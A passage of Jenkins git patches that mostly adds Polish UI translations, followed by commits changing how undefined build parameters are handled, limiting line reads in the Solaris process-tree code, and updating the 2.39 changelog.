OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Back\ to\ Loggers=Powr\u00F3t do rejestrator\u00F3w log\u00F3w +Delete=Usu\u0144 +Log\ records=Zawarto\u015B\u0107 rejestratora log\u00F3w +Configure=Skonfiguruj diff --git a/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties b/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties index 7f6219d2cd..47ad32fa69 100644 --- a/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties +++ b/core/src/main/resources/hudson/logging/LogRecorderManager/sidepanel_pl.properties @@ -1,8 +1,27 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2013-2017, Kohsuke Kawaguchi, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. All\ Logs=Wszystkie Logi Back\ to\ Dashboard=Powr\u00F3t do tablicy Log\ Levels=Poziom logowania -Logger\ List=Lista loger\u00F3w +Logger\ List=Lista rejestrator\u00F3w log\u00F3w Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem -New\ Log\ Recorder=Nowe Nagrywanie Log\u00F3w +New\ Log\ Recorder=Dodaj rejestratora log\u00F3w diff --git a/core/src/main/resources/hudson/logging/Messages_pl.properties b/core/src/main/resources/hudson/logging/Messages_pl.properties new file mode 100644 index 0000000000..d9a98bbf3d --- /dev/null +++ b/core/src/main/resources/hudson/logging/Messages_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +LogRecorderManager.DisplayName=Rejestrator log\u00F3w +LogRecorderManager.init=Inicjalizowanie rejestrator\u00F3w log\u00F3w diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index de4204c028..401394c96a 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Sun Microsystems, Damian Szczepanik +# Copyright (c) 2004-2017, Sun Microsystems, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -68,19 +68,13 @@ UpdateCenter.Status.Success=Zako\u0144czono pomy\u015Blnie MyViewsProperty.DisplayName=Moje widoki MyViewsProperty.GlobalAction.DisplayName=Moje widoki FreeStyleProject.Description=To jest podstawowa funkcja Jenkinsa. Jenkins stworzy projekt \u0142\u0105cz\u0105cy dowolny SCM z dowolnym systemem buduj\u0105cym, mo\u017Ce to by\u0107 r\u00F3wnie\u017C wykorzystane do czego\u015B innego ni\u017C budowanie oprogramowania. -# Freestyle project FreeStyleProject.DisplayName=Og\u00F3lny projekt -# Use this node as much as possible Node.Mode.NORMAL=Wykorzystuj ten w\u0119ze\u0142 tak bardzo, jak to tylko mo\u017Cliwe -# Nodes ComputerSet.DisplayName=W\u0119z\u0142y -# Jenkins Hudson.DisplayName=Jenkins -# List View ListView.DisplayName=Widok listy -# My View MyView.DisplayName=M\u00F3j widok -# Only build jobs with label expressions matching this node Node.Mode.EXCLUSIVE=Uruchamiaj te projekty, kt\u00F3re maj\u0105 etykiet\u0119 pasuj\u0105c\u0105 do tego w\u0119\u017C\u0142a Hudson.ViewName=Wszystkie -RunParameterDefinition.DisplayName=Parametr uruchomienia \ No newline at end of file +RunParameterDefinition.DisplayName=Parametr uruchomienia# SCM check out aborted +Hudson.JobAlreadyExists=Projekt o nazwie \u2018{0}\u2019 ju\u017C istnieje diff --git a/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties b/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties new file mode 100644 index 0000000000..44f44ba292 --- /dev/null +++ b/core/src/main/resources/hudson/model/UpdateCenter/NoOpJob/row_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Already\ Installed=Ju\u017C zainstalowano diff --git a/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties new file mode 100644 index 0000000000..5470171053 --- /dev/null +++ b/core/src/main/resources/hudson/security/HudsonPrivateSecurityRealm/Details/config_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Password=Has\u0142o +Confirm\ Password=Powt\u00F3rz has\u0142o diff --git a/core/src/main/resources/hudson/security/Messages_pl.properties b/core/src/main/resources/hudson/security/Messages_pl.properties index fd9b353e0e..ec181ceb9a 100644 --- a/core/src/main/resources/hudson/security/Messages_pl.properties +++ b/core/src/main/resources/hudson/security/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -27,3 +27,4 @@ LDAPSecurityRealm.DisplayName=LDAP HudsonPrivateSecurityRealm.ManageUserLinks.Description=Dodawaj, usuwaj i modyfikuj u\u017Cytkownik\u00F3w, kt\u00F3rzy mog\u0105 si\u0119 logowa\u0107 do Jenkinsa GlobalSecurityConfiguration.DisplayName=Konfiguruj ustawienia bezpiecze\u0144stwa GlobalSecurityConfiguration.Description=Zabezpiecz Jenkinsa, decyduj, kto ma do niego dost\u0119p. +HudsonPrivateSecurityRealm.Details.DisplayName=Has\u0142o diff --git a/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties b/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties new file mode 100644 index 0000000000..b7180e6120 --- /dev/null +++ b/core/src/main/resources/hudson/util/HudsonFailedToLoad/index_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Error=Wyst\u0105pi\u0142 b\u0142\u0105d diff --git a/core/src/main/resources/hudson/util/Messages_pl.properties b/core/src/main/resources/hudson/util/Messages_pl.properties index 3ed7b35e7e..9f4d414f74 100644 --- a/core/src/main/resources/hudson/util/Messages_pl.properties +++ b/core/src/main/resources/hudson/util/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -19,5 +19,8 @@ # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. -# In sync ClockDifference.InSync=Zsynchronizowany +ClockDifference.Failed=Nie uda\u0142o si\u0119 zweryfikowa\u0107 +HttpResponses.Saved=Zapisano +FormValidation.ValidateRequired=Wymagane +FormValidation.Error.Details=(wy\u015Bwietl szczeg\u00F3\u0142y) diff --git a/core/src/main/resources/hudson/views/Messages_pl.properties b/core/src/main/resources/hudson/views/Messages_pl.properties index 5028cc784e..e1d95e801c 100644 --- a/core/src/main/resources/hudson/views/Messages_pl.properties +++ b/core/src/main/resources/hudson/views/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2016-2017, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -27,4 +27,4 @@ StatusColumn.DisplayName=Status LastStableColumn.DisplayName=Ostatnie stabilne BuildButtonColumn.DisplayName=Przycisk budowania LastFailureColumn.DisplayName=Ostatnie niepowodzenie -DefaultViewsTabsBar.DisplayName=Domy\u015Blny widok TabBar +DefaultViewsTabsBar.DisplayName=Domy\u015Blny widok pasek kart diff --git a/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties new file mode 100644 index 0000000000..9b249a7585 --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/authenticate-security-token_pl.properties @@ -0,0 +1,30 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +authenticate-security-token.continue=Kontynuuj +jenkins.install.findSecurityTokenMessage=Aby zapewni\u0107, \u017Ce Jenkins jest bezpiecznie uruchomiony przez administratora, \ +has\u0142o zosta\u0142o zapisane do pliku log\u00F3w (nie masz pewno\u015Bci, gdzie go znale\u017A\u0107?) oraz pliku na serwerze:

                                                  {0}

                                                  +authenticate-security-token.password.administrator=Has\u0142o administratorskie: +authenticate-security-token.password.incorrect=Has\u0142o nie jest poprawne, sprawd\u017A ponownie celem wprowadzenia poprawnego has\u0142a +authenticate-security-token.error=B\u0142\u0105d: +authenticate-security-token.copy.password=Skopiuj has\u0142o z jednej z powy\u017Cszych lokalizacji i wklej poni\u017Cej. +authenticate-security-token.unlock.jenkins=Odblokuj Jenkinsa +authenticate-security-token.getting.started=Zaczynamy diff --git a/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties b/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties new file mode 100644 index 0000000000..12f565e07d --- /dev/null +++ b/core/src/main/resources/jenkins/install/SetupWizard/setupWizardFirstUser_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Create\ First\ Admin\ User=Stw\u00F3rz pierwszego administratora diff --git a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties index 3253198287..573e01739b 100644 --- a/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties +++ b/core/src/main/resources/jenkins/management/AdministrativeMonitorsDecorator/footer_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2016-2017, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -20,5 +20,5 @@ # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. # There are {0} active administrative monitors. -tooltip=-Znaleziono {0} aktywnych powiadomie\u0144 dla administrator\u00F3w +tooltip=Znaleziono {0} aktywnych powiadomie\u0144 dla administrator\u00F3w Manage\ Jenkins=Zarz\u0105dzaj Jenkinsem diff --git a/core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties new file mode 100644 index 0000000000..e3cd86fa18 --- /dev/null +++ b/core/src/main/resources/jenkins/model/Jenkins/_restart_pl.properties @@ -0,0 +1,24 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Are\ you\ sure\ about\ restarting\ Jenkins?=Czy na pewno chcesz ponownie uruchomi\u0107 Jenkinsa? +Yes=Tak +Jenkins\ cannot\ restart\ itself\ as\ currently\ configured.=Aktualna konfiguracja uniemo\u017Cliwia Jenkinsowi samodzielne ponowne uruchomienie. diff --git a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties index a1431d07b8..2f392154fc 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/configure_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2016, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors +# Copyright (c) 2004-2017, Kohsuke Kawaguchi, Sun Microsystems, Inc., and a number of other of contributors # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -26,3 +26,4 @@ System\ Message=Komunikat systemowy Workspace\ Root\ Directory=Katalog bazowy przestrzeni roboczej Save=Zapisz Apply=Zastosuj +Configure\ System=Skonfiguruj system diff --git a/core/src/main/resources/lib/form/booleanRadio_pl.properties b/core/src/main/resources/lib/form/booleanRadio_pl.properties new file mode 100644 index 0000000000..095e79de4a --- /dev/null +++ b/core/src/main/resources/lib/form/booleanRadio_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Yes=Tak +No=Nie diff --git a/core/src/main/resources/lib/form/hetero-list_pl.properties b/core/src/main/resources/lib/form/hetero-list_pl.properties new file mode 100644 index 0000000000..173fe7ae1f --- /dev/null +++ b/core/src/main/resources/lib/form/hetero-list_pl.properties @@ -0,0 +1,22 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +Add=Dodaj diff --git a/core/src/main/resources/lib/hudson/buildListTable_pl.properties b/core/src/main/resources/lib/hudson/buildListTable_pl.properties index ef2f307708..dc0a5f6c97 100644 --- a/core/src/main/resources/lib/hudson/buildListTable_pl.properties +++ b/core/src/main/resources/lib/hudson/buildListTable_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2004-2010, Sun Microsystems, Inc. +# Copyright (c) 2004-2017, Sun Microsystems, Inc., Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -23,4 +23,5 @@ Build=Zadanie Click\ to\ center\ timeline\ on\ event=Kliknij aby wycentrowa\u0107 o\u015B czasu na zdarzeniu Console\ output=Logi konsoli -Time\ Since=Czasu temu +Time\ Since=Data +Status=Status -- GitLab From c693f9e4cf9879ade03679d71f2edf7d9b0f2dad Mon Sep 17 00:00:00 2001 From: Sereinity Date: Sat, 7 Jan 2017 21:45:44 +0100 Subject: [PATCH 673/811] Stop warning about not keeping undefined parameters (#2687) * Stop warning about not keeping undefined parameters * Add javadoc on dontKeepUndefinedParameters parameter * keepUndefinedParameters become a three state flag, remove dontKeepUndefinedParameters * Add missing backtick in log message, reword the keepUndefinedParameters log --- .../java/hudson/model/ParametersAction.java | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) diff --git a/core/src/main/java/hudson/model/ParametersAction.java b/core/src/main/java/hudson/model/ParametersAction.java index be29fc4b04..c5a97f925f 100644 --- a/core/src/main/java/hudson/model/ParametersAction.java +++ b/core/src/main/java/hudson/model/ParametersAction.java @@ -67,6 +67,16 @@ import jenkins.util.SystemProperties; @ExportedBean public class ParametersAction implements RunAction2, Iterable, QueueAction, EnvironmentContributingAction, LabelAssignmentAction { + /** + * Three state variable (null, false, true). + * + * If explicitly set to true, it will keep all variable, explicitly set to + * false it will drop all of them (except if they are marked safe). + * If null, and they are not safe, it will log a warning in logs to the user + * to let him choose the behavior + * + * @since TODO + */ @Restricted(NoExternalUse.class) public static final String KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME = ParametersAction.class.getName() + ".keepUndefinedParameters"; @@ -306,7 +316,8 @@ public class ParametersAction implements RunAction2, Iterable, Q return parameters; } - if (SystemProperties.getBoolean(KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME)) { + String shouldKeepFlag = SystemProperties.getString(KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME); + if ("true".equalsIgnoreCase(shouldKeepFlag)) { return parameters; } @@ -315,10 +326,10 @@ public class ParametersAction implements RunAction2, Iterable, Q for (ParameterValue v : this.parameters) { if (this.parameterDefinitionNames.contains(v.getName()) || isSafeParameter(v.getName())) { filteredParameters.add(v); - } else { + } else if ("false".equalsIgnoreCase(shouldKeepFlag)) { LOGGER.log(Level.WARNING, "Skipped parameter `{0}` as it is undefined on `{1}`. Set `-D{2}=true` to allow " + "undefined parameters to be injected as environment variables or `-D{3}=[comma-separated list]` to whitelist specific parameter names, " - + "even though it represents a security breach", + + "even though it represents a security breach or `-D{2}=false` to no longer show this message.", new Object [] { v.getName(), run.getParent().getFullName(), KEEP_UNDEFINED_PARAMETERS_SYSTEM_PROPERTY_NAME, SAFE_PARAMETERS_SYSTEM_PROPERTY_NAME }); } } -- GitLab From 4df0c56ea4013bb37ad2c7a18b57f8b7fa977347 Mon Sep 17 00:00:00 2001 From: Christopher Siden Date: Sat, 7 Jan 2017 12:48:15 -0800 Subject: [PATCH 674/811] [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node (#2701) * [JENKINS-40470] Jobs didn't finish on Solaris 11 Intel node * make length limit a system property --- .../src/main/java/hudson/util/ProcessTree.java | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/core/src/main/java/hudson/util/ProcessTree.java b/core/src/main/java/hudson/util/ProcessTree.java index 5fae26a4d3..40e30217a5 100644 --- a/core/src/main/java/hudson/util/ProcessTree.java +++ b/core/src/main/java/hudson/util/ProcessTree.java @@ -787,6 +787,14 @@ public abstract class ProcessTree implements Iterable, IProcessTree, private static final byte PR_MODEL_ILP32 = 1; private static final byte PR_MODEL_LP64 = 2; + /* + * An arbitrary upper-limit on how many characters readLine() will + * try reading before giving up. This avoids having readLine() loop + * over the entire process address space if this class has bugs. + */ + private final int LINE_LENGTH_LIMIT = + SystemProperties.getInteger(Solaris.class.getName()+".lineLimit", 10000); + /* * True if target process is 64-bit (Java process may be different). */ @@ -900,7 +908,7 @@ public abstract class ProcessTree implements Iterable, IProcessTree, for( int n=0; n, IProcessTree, for( int n=0; ; n++ ) { // read a pointer to one entry LIBC.pread(fd, m, new NativeLong(psize), new NativeLong(envp+n*psize)); - long addr = b64 ? m.getLong(0) : m.getInt(0); + long addr = b64 ? m.getLong(0) : to64(m.getInt(0)); if (addr == 0) // completed the walk break; @@ -959,7 +967,13 @@ public abstract class ProcessTree implements Iterable, IProcessTree, Memory m = new Memory(1); byte ch = 1; ByteArrayOutputStream buf = new ByteArrayOutputStream(); + int i = 0; while(true) { + if (i++ > LINE_LENGTH_LIMIT) { + LOGGER.finest("could not find end of line, giving up"); + throw new IOException("could not find end of line, giving up"); + } + LIBC.pread(fd, m, new NativeLong(1), new NativeLong(addr)); ch = m.getByte(0); if (ch == 0) -- GitLab From 232ee7780f6437c3201296ea48b4db2db7169980 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sat, 7 Jan 2017 21:41:56 +0100 Subject: [PATCH 675/811] Changelog: Improve the 2.39 changelog entries, noting #2686 and #2688 --- changelog.html | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/changelog.html b/changelog.html index bd405ad7aa..330ae58cbf 100644 --- a/changelog.html +++ b/changelog.html @@ -62,11 +62,15 @@ Upcoming changes

                                                  What's new in 2.39 (2017/01/02)

                                                  • - Properties were not passed to Maven command by Maven build step + Properties were not passed to Maven command by Maven build step when the Inject Build Variables flag was not set. (issue 39268)
                                                  • - Update remoting to 3.4 + Update remoting to 3.4 in order to properly terminate the channel in the case Errors and Exceptions. (issue 39835) +
                                                  • + Improved Polish and Catalan translations. + (pull 2688 and + pull 2686)

                                                  What's new in 2.38 (2016/12/25)

